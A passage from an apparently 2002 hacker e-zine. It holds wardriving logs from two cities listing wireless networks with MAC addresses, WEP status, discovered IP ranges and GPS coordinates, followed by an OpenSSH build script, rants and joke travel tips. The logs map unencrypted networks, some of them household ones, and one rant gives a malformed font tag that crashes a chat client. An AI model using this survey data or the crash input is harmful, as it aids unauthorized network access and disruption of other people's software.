    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 14
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 14
    First    : "Sat Jun 22 21:05:57 2002"
    Last     : "Sat Jun 22 21:06:24 2002"

Network 85: "linksys" BSSID: "00:06:25:51:76:A9"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 7
    Data     : 9
    Crypt    : 0
    Weak     : 0
    Total    : 16
    First    : "Sat Jun 22 21:06:47 2002"
    Last     : "Sat Jun 22 21:06:49 2002"

Network 86: "Apple Network 0fab34" BSSID: "00:02:2D:0F:AB:34"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1427
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1427
    First    : "Sat Jun 22 21:07:14 2002"
    Last     : "Sat Jun 22 21:09:09 2002"

Network 87: "<no ssid>" BSSID: "00:02:2D:01:48:2E"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 7
    Crypt    : 0
    Weak     : 0
    Total    : 7
    First    : "Sat Jun 22 21:07:37 2002"
    Last     : "Sat Jun 22 21:21:35 2002"

Network 88: "ugate" BSSID: "00:10:2B:01:1D:9A"
    Type     : infrastructure
    Info     : "None"
    Channel  : 03
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 10
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 10
    First    : "Sat Jun 22 21:08:30 2002"
    Last     : "Sat Jun 22 21:20:19 2002"

Network 89: "<no ssid>" BSSID: "00:02:2D:04:C2:6A"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 24
    Crypt    : 0
    Weak     : 0
    Total    : 24
    First    : "Sat Jun 22 21:08:55 2002"
    Last     : "Sat Jun 22 21:20:26 2002"

Network 90: "Zoom0333a1" BSSID: "00:40:36:01:87:4E"
    Type     : ad-hoc
    Info     : "None"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:08:55 2002"
    Last     : "Sat Jun 22 21:08:55 2002"

Network 91: "ExpoPark" BSSID: "00:04:5A:0E:7A:E8"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 538
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 538
    First    : "Sat Jun 22 21:09:09 2002"
    Last     : "Sat Jun 22 21:09:45 2002"

Network 92: "linksys" BSSID: "00:04:5A:D2:7E:65"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 27005
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 27005
    First    : "Sat Jun 22 21:09:41 2002"
    Last     : "Sat Jun 22 21:43:23 2002"

Network 93: "Apple Network 0959e9" BSSID: "00:02:2D:09:59:E9"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:20:30 2002"
    Last     : "Sat Jun 22 21:20:30 2002"

Network 94: "gfwirelesslan" BSSID: "00:06:25:53:5E:47"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:20:59 2002"
    Last     : "Sat Jun 22 21:20:59 2002"

Network 95: "<no ssid>" BSSID: "00:40:96:45:A6:B1"
    Type     : infrastructure
    Info     : "bocxw20b"
    Channel  : 11
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:21:35 2002"
    Last     : "Sat Jun 22 21:21:35 2002"

Network 96: "<no ssid>" BSSID: "00:40:96:54:81:6B"
    Type     : infrastructure
    Info     : "bocxw16b"
    Channel  : 11
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:21:54 2002"
    Last     : "Sat Jun 22 21:21:54 2002"

Network 97: "<no ssid>" BSSID: "00:02:2D:01:EF:FC"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 1
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:22:16 2002"
    Last     : "Sat Jun 22 21:22:16 2002"

Network 98: "TribalDDB-Mobile" BSSID: "00:A0:F8:43:39:D7"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 2
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 21:22:30 2002"
    Last     : "Sat Jun 22 21:22:30 2002"

Network 99: "101" BSSID: "00:04:5A:0E:51:06"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 2
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 21:22:48 2002"
    Last     : "Sat Jun 22 21:22:48 2002"

Network 100: "Trizec_Hahn_dallas3" BSSID: "00:40:96:25:8D:8D"
    Type     : infrastructure
    Info     : "Reniassance_3"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 6
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 6
    First    : "Sat Jun 22 21:23:33 2002"
    Last     : "Sat Jun 22 21:23:34 2002"

Network 101: "<no ssid>" BSSID: "00:40:96:41:62:D9"
    Type     : infrastructure
    Info     : "ACSDA5W82"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:23:47 2002"
    Last     : "Sat Jun 22 21:23:47 2002"

Network 102: "ACS_LEAP" BSSID: "00:40:96:41:E8:88"
    Type     : infrastructure
    Info     : "ACSDA5W83"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 7
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 7
    First    : "Sat Jun 22 21:23:52 2002"
    Last     : "Sat Jun 22 21:23:57 2002"

Network 103: "sleepers" BSSID: "00:06:25:53:87:E9"
    Type     : infrastructure
    Info     : "None"
    Channel  : 11
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:24:11 2002"
    Last     : "Sat Jun 22 21:24:11 2002"

Network 104: "WaveLAN Network" BSSID: "00:60:1D:21:7D:89"
    Type     : infrastructure
    Info     : "None"
    Channel  : 11
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 2
    Data     : 1
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 21:24:11 2002"
    Last     : "Sat Jun 22 21:24:11 2002"
    Address found via UDP 10.91.0.0

Network 105: "<no ssid>" BSSID: "00:02:2D:04:89:89"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 29
    Crypt    : 0
    Weak     : 0
    Total    : 29
    First    : "Sat Jun 22 21:25:56 2002"
    Last     : "Sat Jun 22 21:26:01 2002"

Network 106: "NorthPark" BSSID: "00:04:5A:0F:33:80"
    Type     : infrastructure
    Info     : "None"
    Channel  : 11
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:27:41 2002"
    Last     : "Sat Jun 22 21:27:41 2002"

Network 107: "linksys" BSSID: "00:06:25:50:3E:43"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:27:41 2002"
    Last     : "Sat Jun 22 21:27:41 2002"

Network 108: "TRG Airport Network" BSSID: "00:02:2D:06:21:06"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 5
    Data     : 5
    Crypt    : 0
    Weak     : 0
    Total    : 10
    First    : "Sat Jun 22 21:28:03 2002"
    Last     : "Sat Jun 22 21:28:13 2002"

Network 109: "<no ssid>" BSSID: "00:40:96:51:EE:D6"
    Type     : infrastructure
    Info     : "lincoln-main"
    Channel  : 05
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 5
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 5
    First    : "Sat Jun 22 21:28:07 2002"
    Last     : "Sat Jun 22 21:28:39 2002"

Network 110: "TRG Airport Network" BSSID: "00:60:1D:1E:E3:67"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 2
    Data     : 1
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 21:28:08 2002"
    Last     : "Sat Jun 22 21:28:08 2002"

Network 111: "TRG Airport Network" BSSID: "00:02:2D:06:20:F4"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:28:08 2002"
    Last     : "Sat Jun 22 21:28:08 2002"

Network 112: "RichardsI_LinkSys" BSSID: "00:06:25:51:66:BB"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 2
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 21:28:08 2002"
    Last     : "Sat Jun 22 21:28:08 2002"

Network 113: "TRG Airport Network" BSSID: "00:02:2D:0E:22:26"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 2
    Data     : 1
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 21:28:12 2002"
    Last     : "Sat Jun 22 21:28:12 2002"

Network 114: "<no ssid>" BSSID: "00:02:2D:01:93:3D"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 5
    Crypt    : 0
    Weak     : 0
    Total    : 5
    First    : "Sat Jun 22 21:28:18 2002"
    Last     : "Sat Jun 22 21:28:36 2002"

Network 115: "<no ssid>" BSSID: "00:40:96:30:41:12"
    Type     : infrastructure
    Info     : "0675_wap1"
    Channel  : 07
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:28:35 2002"
    Last     : "Sat Jun 22 21:28:35 2002"

Network 116: "<no ssid>" BSSID: "00:40:96:12:A9:86"
    Type     : infrastructure
    Info     : "AP4500E_12a986"
    Channel  : 11
    WEP      : "Yes"
    Maxrate  : 2.0
    LLC      : 5
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 5
    First    : "Sat Jun 22 21:28:36 2002"
    Last     : "Sat Jun 22 21:28:45 2002"

Network 117: "WaveLAN Network" BSSID: "00:02:2D:2C:A0:6D"
    Type     : infrastructure
    Info     : "None"
    Channel  : 10
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 9
    Data     : 1
    Crypt    : 0
    Weak     : 0
    Total    : 10
    First    : "Sat Jun 22 21:29:20 2002"
    Last     : "Sat Jun 22 21:38:58 2002"
    Address found via ARP 10.245.119.0

Network 118: "<no ssid>" BSSID: "00:02:2D:0C:B2:63"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 3
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 21:29:22 2002"
    Last     : "Sat Jun 22 21:39:26 2002"

Network 119: "central" BSSID: "00:05:5D:DA:2B:50"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 2
    Data     : 1
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 21:29:26 2002"
    Last     : "Sat Jun 22 21:29:26 2002"

Network 120: "post" BSSID: "00:60:1D:F1:47:E0"
    Type     : infrastructure
    Info     : "None"
    Channel  : 11
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 6
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 6
    First    : "Sat Jun 22 21:29:31 2002"
    Last     : "Sat Jun 22 21:38:04 2002"

Network 121: "post" BSSID: "00:60:1D:F1:48:01"
    Type     : infrastructure
    Info     : "None"
    Channel  : 09
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 16
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 16
    First    : "Sat Jun 22 21:37:53 2002"
    Last     : "Sat Jun 22 21:39:33 2002"

Network 122: "post" BSSID: "00:60:1D:F0:E0:5E"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 20
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 20
    First    : "Sat Jun 22 21:37:54 2002"
    Last     : "Sat Jun 22 21:38:35 2002"

Network 123: "<no ssid>" BSSID: "00:02:2D:0C:AE:06"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 4
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 21:39:30 2002"
    Last     : "Sat Jun 22 21:39:40 2002"

Network 124: "whitelink" BSSID: "00:06:25:60:B4:E3"
    Type     : infrastructure
    Info     : "None"
    Channel  : 07
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:39:41 2002"
    Last     : "Sat Jun 22 21:39:41 2002"

Network 125: "<no ssid>" BSSID: "00:02:2D:05:B8:E4"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 4
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 21:41:04 2002"
    Last     : "Sat Jun 22 21:41:09 2002"

Network 126: "<no ssid>" BSSID: "00:02:2D:01:DA:1E"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 2
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 21:41:09 2002"
    Last     : "Sat Jun 22 21:41:18 2002"

Network 127: "default" BSSID: "00:90:47:00:01:8C"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 2
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 21:42:46 2002"
    Last     : "Sat Jun 22 21:42:47 2002"

Network 128: "linksys" BSSID: "00:04:5A:CC:39:74"
    Type     : infrastructure
    Info     : "None"
    Channel  : 10
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 6
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 6
    First    : "Sat Jun 22 21:42:51 2002"
    Last     : "Sat Jun 22 21:42:55 2002"

Network 129: "<no ssid>" BSSID: "00:02:2D:0C:B2:8E"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 2
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 21:43:06 2002"
    Last     : "Sat Jun 22 21:43:06 2002"

Network 130: "Apple Network 2e938b" BSSID: "00:02:2D:2E:93:8B"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 3019
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 3019
    First    : "Sat Jun 22 21:43:23 2002"
    Last     : "Sat Jun 22 21:47:00 2002"

Network 131: "<no ssid>" BSSID: "00:40:96:33:DC:8F"
    Type     : infrastructure
    Info     : "WA9900PCHR9166"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 2
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 21:43:55 2002"
    Last     : "Sat Jun 22 21:44:04 2002"

Network 132: "Trizec_Hahn_dallas3" BSSID: "00:40:96:26:4C:E8"
    Type     : infrastructure
    Info     : "Park_Central"
    Channel  : 01
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:43:57 2002"
    Last     : "Sat Jun 22 21:43:57 2002"

Network 133: "Fryer Family" BSSID: "00:02:2D:09:46:DC"
    Type     : infrastructure
    Info     : "None"
    Channel  : 01
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:44:27 2002"
    Last     : "Sat Jun 22 21:44:27 2002"

Network 134: "<no ssid>" BSSID: "00:02:2D:3C:AC:E4"
    Type     : infrastructure
    Info     : "None"
    Channel  : 10
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 1
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 1
    First    : "Sat Jun 22 21:45:26 2002"
    Last     : "Sat Jun 22 21:45:26 2002"

Network 135: "<no ssid>" BSSID: "00:02:2D:04:28:97"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 230
    Crypt    : 0
    Weak     : 0
    Total    : 230
    First    : "Sat Jun 22 21:45:54 2002"
    Last     : "Sat Jun 22 21:46:59 2002"

Network 136: "<no ssid>" BSSID: "00:E0:63:50:0C:31"
    Type     : infrastructure
    Info     : "None"
    Channel  : 06
    WEP      : "Yes"
    Maxrate  : 11.0
    LLC      : 3
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 21:46:13 2002"
    Last     : "Sat Jun 22 21:46:13 2002"

Network 137: "<no ssid>" BSSID: "00:60:1D:1E:51:74"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 65
    Crypt    : 0
    Weak     : 0
    Total    : 65
    First    : "Sat Jun 22 21:46:31 2002"
    Last     : "Sat Jun 22 21:46:59 2002"

Network 138: "Trizec_Hahn_dallas2" BSSID: "00:40:96:30:47:A0"
    Type     : infrastructure
    Info     : "Galleria"
    Channel  : 11
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 2
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 2
    First    : "Sat Jun 22 21:46:32 2002"
    Last     : "Sat Jun 22 21:46:36 2002"

Network 139: "<no ssid>" BSSID: "00:60:1D:1E:51:EF"
    Type     : data
    Info     : "None"
    Channel  : 00
    WEP      : "No"
    Maxrate  : 0.0
    LLC      : 0
    Data     : 3
    Crypt    : 0
    Weak     : 0
    Total    : 3
    First    : "Sat Jun 22 21:46:46 2002"
    Last     : "Sat Jun 22 21:47:00 2002"

Network 140: "WLAN" BSSID: "00:04:E2:0E:6D:79"
    Type     : infrastructure
    Info     : "None"
    Channel  : 11
    WEP      : "No"
    Maxrate  : 11.0
    LLC      : 4
    Data     : 0
    Crypt    : 0
    Weak     : 0
    Total    : 4
    First    : "Sat Jun 22 21:46:55 2002"
    Last     : "Sat Jun 22 21:46:59 2002"


--------------------------------------------------------------------------------
[Seattle Wardriving Data]=============================[pr00f <pr00f@pr00f.org> ]
--------------------------------------------------------------------------------




SSID      MAC Address        Chan  WEP  Address (Method)     GPS Location (Est.)
--------------------------------------------------------------------------------
RAINBOW   00:50:8B:99:2B:82     6   Y   <Unknown>
sadness   00:04:5A:D8:25:53     6   Y   <Unknown>            47.6601 -122.3301
linksys   00:03:2F:03:16:55     6   Y   <Unknown>            47.6597 -122.3290
linksys   00:04:5A:FD:B5:FB     6   Y   <Unknown>            47.6598 -122.3316
linksys   00:04:5A:EB:9D:5D     6   Y   <Unknown>
linksys   00:04:5A:D2:67:55     6   N   <Unknown>
linksys   00:04:5A:CF:95:DB     6   N   <Unknown>
linksys   00:04:5A:2D:DD:1D     6   N   192.168.1.0 (UDP)    47.6592 -122.3338
linksys   00:04:5A:D2:14:6B     6   N   192.168.1.0 (UDP)
linksys   00:06:25:53:23:EA     6   N   192.168.1.0 (UDP)    47.6608 -122.3337
celia     00:05:5D:ED:23:EC     9   N   192.168.2.0 (UDP)    47.6598 -122.3301
paul      00:02:2D:31:B6:8B     1   Y   <Unknown>
default   00:50:18:08:8D:A8     6   Y   <Unknown>
default   00:50:18:05:0C:22     6   N   <Unknown>
default   00:01:24:F0:33:55     6   N   <Unknown>
default   00:01:24:F1:6C:14     6   N   <Unknown>
default   00:30:AB:06:5D:CC   N/A   N   <Unknown>
default   00:10:E7:F5:12:CC     6   N   192.168.0.0 (UDP)    47.6609 -122.3298
default   00:50:18:06:82:1A     6   N   192.168.123.0 (UDP)
willardx  00:04:5A:2E:3E:AD     6   N   10.0.0.0 (ARP)       47.6605 -122.3292
wireless  00:02:B3:A5:BD:54    10   N   192.168.2.0 (ARP)    47.6594 -122.3326
Wireless  00:30:AB:0C:36:17     1   N   <Unknown>            47.6588 -122.3292
IEEE      00:90:96:21:99:25     6   N   10.134.216.0 (ARP)
appledoorn00:02:2D:3C:DE:6B     1   N   <Unknown>            47.6614 -122.3291
Bigfoot   00:30:65:1C:7B:6C     1   Y   <Unknown>
airport 1 00:02:2D:3F:55:C7     4   Y   <Unknown>
Airport   00:60:1D:F6:93:7D     1   Y   <Unknown>            47.6603 -122.3337
Fourth    00:01:24:F0:1F:75     6   N   <Unknown>
Chris     00:02:2D:2A:18:E7     2   N   <Unknown>
WaveLAN   00:02:A5:6F:0E:96    10   N   10.0.0.0 (ARP)       47.6589 -122.3297
WaveLAN   00:02:A5:6E:0B:9E    10   N   10.0.0.0 (ARP)       47.6593 -122.3301
UniversityofWashington  00:60:1D:21:8B:7B     1   N   12.228.24.0 (ARP)    47.6607 -122.3315
airport 1 00:02:2D:3F:55:C7     4   Y   <Unknown>
<no ssid> 00:30:65:1C:AF:8C     1   Y   <Unknown>            47.6583 -122.3303
nervenet  00:06:25:54:A3:18     6   N   <Unknown>            47.6606 -122.3301
crack     00:40:96:15:63:EB     6   N   <Unknown>
linksys   00:06:25:04:96:91     6   N   <Unknown>
ANY       00:40:96:42:C5:42     6   N   <Unknown>            47.6575 -122.3314
<no ssid> 00:06:25:00:D8:AF   N/A   N   <Unknown>            47.6599 -122.3301
CBCC      00:20:E0:8A:B0:36   N/A   N   <Unknown>            47.6610 -122.3336
tmobile   00:02:2D:38:85:0B   N/A   N   <Unknown>
tmobile   00:40:96:5A:9E:CB   N/A   N   <Unknown>            47.6617 -122.3335
<none>    00:40:96:13:B2:A8   N/A   N   207.229.104.0 (ARP)

--------------------------------------------------------------------------------
[OpenSSH Update Script]============[Gridmark <gridmark@planetmotherfucker.net> ]
--------------------------------------------------------------------------------


#!/bin/bash
#This updates openssh to the latest version, compiles it from the source
#obtained from www.openssh.org since i have no leet version checking bash 
#skills you must know the current release version for this to work. its not 
#pretty but it should work. Soon i will recode this in C or perl so it
#can be a bit more feature rich. #Tested on slack 8.1, by Gridmark

TYPE=$2
echo "Usage $0 <current ssh version> <1|2>"
echo "Use 1 for Slackware(MD5), 2 for Debian/Mandrake/Redhat(PAM)"
echo "i.e. '$0 3.4.p1 1' for openssh 3.4.p1 and slackware (or machine that uses md5 passwords)"

if [ "$1" = "" ]; then
	exit 0
fi 
if [ "$2" = "" ]; then
	exit 0
fi

#Compiler options if you wish to change them.
COMPOPTSLACK=" --with-tcp-wrappers --with-md5-passwords --prefix=/usr --sysconfdir=/etc/ssh"
COMPOPTDEB=" --with-tcp-wrappers --with-pam --prefix=/usr --sysconfdir=/etc/ssh"
echo "Wgetting OpenSSH $1"
wget -N -nv -nd --progress=bar:force --directory-prefix=openssh_$1 ftp://www.openssh.org/pub/OpenBSD/OpenSSH/portable/openssh-$1.tar.gz
#unfortunately at this time i dont care enough to include md5 checksum verification.
cd openssh_$1/
tar xzvf openssh-$1.tar.gz
cd openssh-$1/
if [ "${TYPE}" = "1" ]; then
	echo "Making OpenSSH $1 for Slackware/MD5 supportive OS."
        ./configure ${COMPOPTSLACK} && make #&& su -c "make install"
fi
if [ "${TYPE}" = "2" ]; then
        echo "Making OpenSSH $1 for Pluggable Auth. Modules machine."
        ./configure ${COMPOPTDEB} && make #&& su -c "make install"
fi
echo "Compiliation/Install finished."

--------------------------------------------------------------------------------
[Random Rants]===================================================[Random People]
--------------------------------------------------------------------------------

/* Note: Opinions stated below are not entirely the views of the LoU. */


1. Yahoo. Why can't they make a client right? Ever join a Yahoo! chat channel?
   Damn thing blows up when you are accepting other people's fonts... just 
   give it a <font size=www.www.www.www.www.www. and on and on> and watch their
   newest client die. Force YOUR font settings in the preferences to stop this.

2. P2P networks. Stop backdooring shit! gator.com sucks and so do you. Is it
   actually legal to trojan a windows box to force proxy settings so you can 
   sniff what people browse? 

3. OpenBSD. How many hours since remote hole in the default install? Forcing 
   people to adopt your methods (i.e. PrivSep) will not help the industry, it
   will only hurt it. Do you think the commercial operating systems are going 
   to change just because YOU say so? No. Get a clue. PrivSep is a good idea
   poorly implemented. 2500 lines of root owned code is still 2500 lines of 
   overflowable code, and word on the street has it, PrivSep has already been
   defeated. Please discuss with full disclosure. 

4. Hacker wars. Can't we all just get along? `Nuff said. 

5. Worldcom. Oh geez, we knew you were clueless, but fixing the books too? 
   And a 20 year old kid walking into your network? Whats that about? Guess
   next time a employee tells you that your security sucks a goat (1999) 
   you will listen, instead of firing the guy trying to help you fix it. 
   That firewall really did help you out this time, didn't it?

6. Hollings. Get rid of him. NOW. 

7. Homeland security. Orwell! Hello! Does anyone care? Will you care when it's 
   too late? Let's give up all our freedoms! Wheeeeeeee!

8. Bugtraq. Rest In Peace full disclosure. 

9. Life sentences for hackers, hackers are terrorists. Spanish inquistion. 
   Salem. United States 2002. Let the witch hunts begin. 

10. RIAA/MPAA/BSA - No. Go away. You aren't smart enough to have as much 
    money as you do. You don't deserve it. 

11. Dot Com Boom - It didn't happen. Everyone lied. Greatest social engineering
    of all time. Please do it again.. lots of unemployed techies out there.

12. Airport security. Hey, I hide shit in my underware all the time. Oh yah,
    I got a *REAL* threat down there, baby. And nothing in my shoes cept 
    my feet. BTW, how do you like all of your personal information being 
    linked into ONE database so that the airline can determine if you are 
    a threat or not? Thanks Larry! 

13. Cisco. Build that great firewall! IOS 13 leaked yet?

14. Gobbles. Fresh voice, funny commentary, and kickin the fuq out of the 
    industry. Please reproduce yourselves so that the clue  
    increases across the industry. 

15. Virus writers. We appreciate a good hack, but guys! Come on, these things
    don't exactly infect our UNIX boxen.

16. Setient. Ahh to be young, naive and completely annoying. 

17. Bush. Hell yah, let's drill Alaska. We dont want to pay 10 bucks a gallon
    for gas when the war comes. 

18. Sweedish girls. So sexy, so willing... so far away. :(

19. Gathering KV submissions is like pulling teeth. - Editor

20. All the people that could have written decent articles on any of the 
    above subjects, but instead rather go whack off instead. ARG. See #19.

--------------------------------------------------------------------------------
[Travel - Tips for Visiting Holland]=============[Rewben <ruben@generation.nl> ]
--------------------------------------------------------------------------------


1. Never use the word "Dutch" in front of a Hollander. It reminds him too much
of the word "Deutsch" which is a word for Germans and other things he doesn't
like. A Dutchman is a Hollander or a Nederlander. 

2. Never ever try to speak Hollands even if you have lived in Holland for more
than five years. Not only will it give you a splitting headache but also
Hollanders won't understand a single word of what you are trying to say. 
Foreigners are expected to speak English or gibberish. Speaking gibberish they
are easy prey for pickpockets since they can't make a report to the police. 

3. Also never try to eat "drop". Drop is a kind of licorice that only 
Hollanders can eat. It can be recognized by its colour: black. The taste is a 
cross between printer ink (blue) and earwax. Hollanders absolutely love it and
eat kilos of the revolting stuff. There is a nationwide conspiracy to look at 
the faces of foreigners who are tricked into believing it is edible. 

4. Do not buy wooden shoes. They will look absolutely silly on you. Which is 
ofcourse the main reason for selling them to you in the first place. A 
Hollander himself wouldn't like to be found dead in them. (As a matter of 
fact, they wouldn't like to be found dead at all) 

5. Do not make holes in dikes. Behaviour like that is not only frowned upon 
but in certain cases can get you stoned to death with wooden shoes by an 
angry mob. You may feel free however to stick a finger in any dike you like. 
It'll get you a few good laughs from the natives. 

6. A Hollander is always right and he knows it. With this in the back of your 
mind it is easy to deal with most of them. If ever you get into an argument 
with a Hollander, tell him that he is absolutely right and that you see the 
error of your ways. This will drive him absolutely crazy: Since you are a 
foreigner you can't be right. You agree with him. Therefore he also cannot be
right. Impossible! He is a Hollander. But.. why.. he.. At this point you may 
want to stand back and watch him try to strangle himself with a tulip. 

7. Windmills are unavoidable. 


